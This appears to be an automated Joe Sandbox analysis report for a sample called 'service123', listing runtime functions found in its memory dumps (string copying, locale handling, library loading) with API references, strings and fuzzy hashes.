Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpymemmove
String ID: Unknown error$basic_string::_M_construct null not valid$basic_string::append$iostream error
API String ID: 167125708-1696127648
Opcode ID: 393ba582dcf90393bb7fc0cd5f5aaf2f6e1b0002b3ab533a475a96a845e47c74
Instruction ID: ce0f9615ceb2660b91f04265b66fcedb545b6f261f473749456263150182f192
Opcode Fuzzy Hash: 393ba582dcf90393bb7fc0cd5f5aaf2f6e1b0002b3ab533a475a96a845e47c74
Instruction Fuzzy Hash: EFA1F2B4905308CFCB10DFA9C484A9DBBF5BF49304F24892ED899ABB55D730A844CF52

Function 6C358190 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 208COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C358228
memcpy.MSVCRT ref: 6C3582B8

Strings

basic_string::replace, xrefs: 6C3583AC, 6C3583C0
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C3583B4

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 3510742995-3564965661
Opcode ID: 6317a8c4ab0dc1e6fefb450080d80679567017677a3b665b6589cbb139314ca6
Instruction ID: af32a76a0d85ea5a1f3abc7d47059bd4cea2933412a1c3b03eb8bb0500ab2e17
Opcode Fuzzy Hash: 6317a8c4ab0dc1e6fefb450080d80679567017677a3b665b6589cbb139314ca6
Instruction Fuzzy Hash: 9D813475A1560A8FCB00DF28D4809AEBBF5BF88304F51896EE89497750D730E964CF93

Function 6C360C20 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 190COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C360CAC
memcpy.MSVCRT ref: 6C360D28

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C360E1B
basic_string::replace, xrefs: 6C360E13, 6C360E27

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::replace
API String ID: 3510742995-3564965661
Opcode ID: b34528342acfbbaac6e8543b6511e6479d9146ac1e24330e02aef9cb929ec2c4
Instruction ID: 0608e85d0177be2e4bd3d7829797949eb742ed25f377a67ffec2d5c4bf40f93c
Opcode Fuzzy Hash: b34528342acfbbaac6e8543b6511e6479d9146ac1e24330e02aef9cb929ec2c4
Instruction Fuzzy Hash: 7B714AB5A053468FCB00DF2DC58159EBBF4BF89248F50892EE89497B18D771E814CFA2

Function 6C2F9B53 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 177stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C2F9803
strlen.MSVCRT ref: 6C2F991C
strlen.MSVCRT ref: 6C2F99A8

Strings

Z__, xrefs: 6C2F9B01
Z__, xrefs: 6C2F9A9B, 6C2F9AC5

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen
String ID: Z__$Z__
API String ID: 39653677-3588101454
Opcode ID: e988aeb2d31a39eaed92c9fcb33a45c6e17e3e6284df1042478508c6e3972e3d
Instruction ID: 665becbb9790f4bad311250736d5d994e52a4b2b24890783e266ce71d0cec283
Opcode Fuzzy Hash: e988aeb2d31a39eaed92c9fcb33a45c6e17e3e6284df1042478508c6e3972e3d
Instruction Fuzzy Hash: 2E8118B190421D8FEB10DF68D8947CEFBF1EB45308F0481A9C859AB744D7799A89CF81

Function 6C2F9B0B Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 172stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C2F9803
strlen.MSVCRT ref: 6C2F991C
strlen.MSVCRT ref: 6C2F99A8

Strings

Z__, xrefs: 6C2F9B01
Z__, xrefs: 6C2F9A9B, 6C2F9AC5

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen
String ID: Z__$Z__
API String ID: 39653677-3588101454
Opcode ID: ea9f78d96ae2198866a5f773abe4e5c4841234dc2f775b44f18d562f65c41a94
Instruction ID: 2c72a7e6da2d2f3e8fa742be23c37f5e7cb103f08feb354c6fb5e97ec3925b29
Opcode Fuzzy Hash: ea9f78d96ae2198866a5f773abe4e5c4841234dc2f775b44f18d562f65c41a94
Instruction Fuzzy Hash: 8E8118B190421D8FEB10DF68D8947CDBBF1FB45308F0481A9C859AB744D7799A89CF81

Function 6C3B1C60 Relevance: 7.6, APIs: 5, Instructions: 78stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C3B1C7A
strlen.MSVCRT ref: 6C3B1C84
memcpy.MSVCRT ref: 6C3B1CA1
setlocale.MSVCRT ref: 6C3B1CB5
setlocale.MSVCRT ref: 6C3B1D0D

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: f48e255f5be6a2e626138bfcb21244f27d7ebf056e8b0197fb547c59cca673e4
Instruction ID: e87fccaafcd14fab54021e79014c1b8adc5786127301460115b99330489a8707
Opcode Fuzzy Hash: f48e255f5be6a2e626138bfcb21244f27d7ebf056e8b0197fb547c59cca673e4
Instruction Fuzzy Hash: 1D3169B1A083059BC702BF24D49475EBBF8EB46388F114C8DE4C867B50E73299588F92

Function 6C3B1D80 Relevance: 7.6, APIs: 5, Instructions: 75stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C3B1D9A
strlen.MSVCRT ref: 6C3B1DA4
memcpy.MSVCRT ref: 6C3B1DC1
setlocale.MSVCRT ref: 6C3B1DD5
setlocale.MSVCRT ref: 6C3B1E35

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: 88cc4155729db97cc5a5f3c12e90d74f1a7a9fed1c2c5012275e9764a9f476a0
Instruction ID: 962db5998fe9fc43b52d19817b8d8ba7b9662ea72e4f5472eab2ab7155898867
Opcode Fuzzy Hash: 88cc4155729db97cc5a5f3c12e90d74f1a7a9fed1c2c5012275e9764a9f476a0
Instruction Fuzzy Hash: 9A214BB2B0C3459EC702AF24C49064EBFF8EB42688F114C4DE4C4A7B61E33699548F92

Function 6C3B1EA0 Relevance: 7.6, APIs: 5, Instructions: 71stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C3B1EBA
strlen.MSVCRT ref: 6C3B1EC4
memcpy.MSVCRT ref: 6C3B1EE1
setlocale.MSVCRT ref: 6C3B1EF5
setlocale.MSVCRT ref: 6C3B1F4D

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: 3066789b7ea653ff52e2ecab5f4c107655763a9c17a804ae6e135f2bf0dac6cd
Instruction ID: 8692d7eef2fe4e61e2872aec57eb1743ab9268f47ab6802ada7359a78ea3e770
Opcode Fuzzy Hash: 3066789b7ea653ff52e2ecab5f4c107655763a9c17a804ae6e135f2bf0dac6cd
Instruction Fuzzy Hash: 1821F5B2A083019FC702AF25D48078EBBF8EB86748F114859E5C897B90E7369954CF93

Function 6C3B28D0 Relevance: 7.6, APIs: 5, Instructions: 64stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C3B28E5
strlen.MSVCRT ref: 6C3B2933
memcpy.MSVCRT ref: 6C3B2950
setlocale.MSVCRT ref: 6C3B2964
setlocale.MSVCRT ref: 6C3B299A

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlen
String ID:
API String ID: 4096897932-0
Opcode ID: eb032a75cc697ebcb9633ddf08a3b0fe4c6a2c08812c79c13775ac678f4ec1a4
Instruction ID: e0604ea319829a2b087d0802f243914814d168c983af6150feeada15da28d01f
Opcode Fuzzy Hash: eb032a75cc697ebcb9633ddf08a3b0fe4c6a2c08812c79c13775ac678f4ec1a4
Instruction Fuzzy Hash: 2D21CFB5A0D3409FD340EF29E48465EBBE0EF88658F408A6EE5C897701E735DA448F43

Function 6C30A840 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_lock.MSVCRT ref: 6C30A859
_unlock.MSVCRT ref: 6C30A881
calloc.MSVCRT ref: 6C30A8CF

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: _lock_unlockcalloc
String ID:
API String ID: 3876498383-0
Opcode ID: dbfa0f3427a73eaac7dc9d678ee9ced2aa34844d5d7c7e451569c8af80486a6a
Instruction ID: 6b71b566d86d0a12c36ba8b0b851b73d34913c8ce72cc7370376def23cfd4d2b
Opcode Fuzzy Hash: dbfa0f3427a73eaac7dc9d678ee9ced2aa34844d5d7c7e451569c8af80486a6a
Instruction Fuzzy Hash: CC113A72B05201CBE700DF29E48075ABBE5FF85358F14C669D4988B788EB74D846CFA2

Function 6C30FEE0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63stringCOMMON

Download Yara Rule

APIs

strerror.MSVCRT ref: 6C30FEF3
strlen.MSVCRT ref: 6C30FF03
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000000,?,?,6C3C0FCB), ref: 6C30FF6F

Strings

basic_string::_M_construct null not valid, xrefs: 6C30FF7C

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpystrerrorstrlen
String ID: basic_string::_M_construct null not valid
API String ID: 2955597728-3522614731
Opcode ID: e0a682fb1283b041934fb7ed80ba4fde10e4381b985a57feb56214e6d9edae86
Instruction ID: 259f8cfba5cd010cef622a97db374d318c225bef8ee7d99b7515bf70edf046d1
Opcode Fuzzy Hash: e0a682fb1283b041934fb7ed80ba4fde10e4381b985a57feb56214e6d9edae86
Instruction Fuzzy Hash: 00113AB26093108FC700AF39D48065AFBE4EF8A244F55886EE888CB704D731D849CFA7

Function 6C30AC78 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C30AC92
strchr.MSVCRT ref: 6C30ACA2
atoi.MSVCRT ref: 6C30ACB3

Strings

., xrefs: 6C30AC97

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: f0326a845ea5538b496d792f312ee367be16f02434ca69ea6b3c3054eaa5bf66
Instruction ID: 95beef511e4f5f99eaa964500adea536bd777dca73da03f518a974a40bcbd214
Opcode Fuzzy Hash: f0326a845ea5538b496d792f312ee367be16f02434ca69ea6b3c3054eaa5bf66
Instruction Fuzzy Hash: 83E0ECB2B047008BD704BF38D90935EB6E1AB81308F45986CD4C887744E77A94499F53

Function 004B7FB8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 004B7FD2
strchr.MSVCRT ref: 004B7FE2
atoi.MSVCRT ref: 004B7FF3

Strings

., xrefs: 004B7FD7

Memory Dump Source

Source File: 00000004.00000002.2903083311.00000000004B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000004.00000002.2903027099.00000000004B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903096951.00000000004BA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903109268.00000000004BD000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.2903121382.00000000004C0000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4b0000_service123.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: 2e20cc0a2f8bd01d80a18571f6e875e0734c2b59010ac96151a74daf2c5f9a7c
Instruction ID: 594b0dbba790cc95151da99b37f79871cba0a89d2570710981d0ed9348e2a813
Opcode Fuzzy Hash: 2e20cc0a2f8bd01d80a18571f6e875e0734c2b59010ac96151a74daf2c5f9a7c
Instruction Fuzzy Hash: 3BE086709087004BD7007F39C80635A76D56B80304F4A881DD58487301EF3D8409C766

Function 6C30AC23 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 6C30AC2F
GetProcAddress.KERNEL32 ref: 6C30AC43

Strings

SystemFunction036, xrefs: 6C30AC38
advapi32.dll, xrefs: 6C30AC28

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SystemFunction036$advapi32.dll
API String ID: 2574300362-1354007664
Opcode ID: 2c13bca8c9f6e9780fc3b5a24a64dcc9cf1a13d9bec7498b7294d82b74122fe0
Instruction ID: 47bf8a19cc0463297d8b550bc00712b177805e375f9ef602392a8a1674ad21a3
Opcode Fuzzy Hash: 2c13bca8c9f6e9780fc3b5a24a64dcc9cf1a13d9bec7498b7294d82b74122fe0
Instruction Fuzzy Hash: 5BE0B6B6A992408BCB00BF78954609EBEB4BA0B704F41492EE5C69BA00D7389554CF97

Function 6C301D23 Relevance: 6.4, APIs: 4, Instructions: 415COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C30189F
memcpy.MSVCRT ref: 6C3018DA

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 5e1f0d9372b9341bbe409c2396a261a8f2f15fe904d9e8a109bc60b52b56572c
Instruction ID: 8011d6476b8800645dca3132aaa03eb74781487279a1c81bc9192754b6018298
Opcode Fuzzy Hash: 5e1f0d9372b9341bbe409c2396a261a8f2f15fe904d9e8a109bc60b52b56572c
Instruction Fuzzy Hash: D3021376A087458FC720CF29C58479ABBE1BF89308F158A2DE8D897751D736E845CF82

Function 6C2FA220 Relevance: 6.3, APIs: 5, Instructions: 98stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C2FA2A5
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,6C30E5EC), ref: 6C2FA2C0
free.MSVCRT ref: 6C2FA2CA

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: freememcpystrlen
String ID:
API String ID: 2208669145-0
Opcode ID: 62b275f800816c91a72c9ddf2913cce7c1fbf413fd5fe5566558671a86ec57a0
Instruction ID: 51aea22b8af06107540f1fa0c312e2c3541d82e7123123271d1aae5f69f11a2a
Opcode Fuzzy Hash: 62b275f800816c91a72c9ddf2913cce7c1fbf413fd5fe5566558671a86ec57a0
Instruction Fuzzy Hash: 5831387668970ECBD3009F69948061EFBE1EFC2759F250A2CECB547B40D772D8468B92

Function 6C301C18 Relevance: 6.3, APIs: 4, Instructions: 276COMMON

Download Yara Rule

APIs

Part of subcall function 6C309350: malloc.MSVCRT ref: 6C30937C

memcpy.MSVCRT ref: 6C30189F
memcpy.MSVCRT ref: 6C3018DA

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpy$malloc
String ID:
API String ID: 962570267-0
Opcode ID: 83df8719107c21ac3c976c35e6c44e7f661851193124bd6f97c078a58c36897e
Instruction ID: 05cdea489fd4bd31c4e850521f6b79bbb28f23b027fb4582111d4d0e129b4e02
Opcode Fuzzy Hash: 83df8719107c21ac3c976c35e6c44e7f661851193124bd6f97c078a58c36897e
Instruction Fuzzy Hash: 03C1F076A087418FD720DF68C58469EBBE0BF89308F45892DE9D997B01D735E849CF82

Function 6C3600D0 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 153COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6C36013F
memmove.MSVCRT ref: 6C360170

Strings

basic_string::assign, xrefs: 6C3601C9

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcpymemmove
String ID: basic_string::assign
API String ID: 167125708-2385367300
Opcode ID: a7e92888327c85dfa125d8e39e8b16801f38cac7ea9fb0492ae64c5b82ff7652
Instruction ID: 9231deab8c7a37205eccb0b051098696830c56ad74a563012648e04bfbe7cb13
Opcode Fuzzy Hash: a7e92888327c85dfa125d8e39e8b16801f38cac7ea9fb0492ae64c5b82ff7652
